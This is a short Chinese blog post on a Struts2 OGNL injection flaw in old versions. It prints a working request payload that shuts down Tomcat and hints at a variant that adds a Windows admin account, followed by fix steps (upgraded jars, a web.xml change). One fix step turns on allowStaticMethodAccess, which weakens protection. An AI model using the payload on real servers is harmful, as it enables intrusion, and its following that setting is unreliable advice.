Struts2低版本安全漏洞及解决办法

Strusts2的低版本漏洞相信大家都知道了,前几天的时候尝试了一下,果然危害极大

      其实不用知道太多,我们只需要知道

      ?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\[email protected]@getRuntime()))=1

    会转换成:

     ?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#[email protected]@getRuntime()))=1

    这就等价于:

    java.lang.Runtime.getRuntime().exit(1); 

   也就是说的关闭当前tomcat

   当然我们也可以使用net user admin 123/add +****

   这样的话我们就可以获得远程登录权限....,你懂的。

   解决办法如下:

替换如下的包
commons-fileupload-1.2.2.jar
commons-io-2.0.1.jar
commons-lang-2.5.jar
freemarker-2.3.18.jar
javassist-3.11.0.GA.jar(必须)
ognl-3.0.3.jar(必须)
struts2-core-2.3.1.jar(必须)
xwork-core-2.3.1.jar(必须)
struts2-spring-plugin-2.3.1.2.jar(必须)
2.修改struts.xml文件在头部加入这句话<constant name="struts.ognl.allowStaticMethodAccess" value="true"></constant> (允许标签使用静态方法)
3.修改web.xml把
org.apache.struts2.dispatcher.FilterDispatcher替换为
org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter

猜你喜欢

转载自cwfmaker.iteye.com/blog/1759886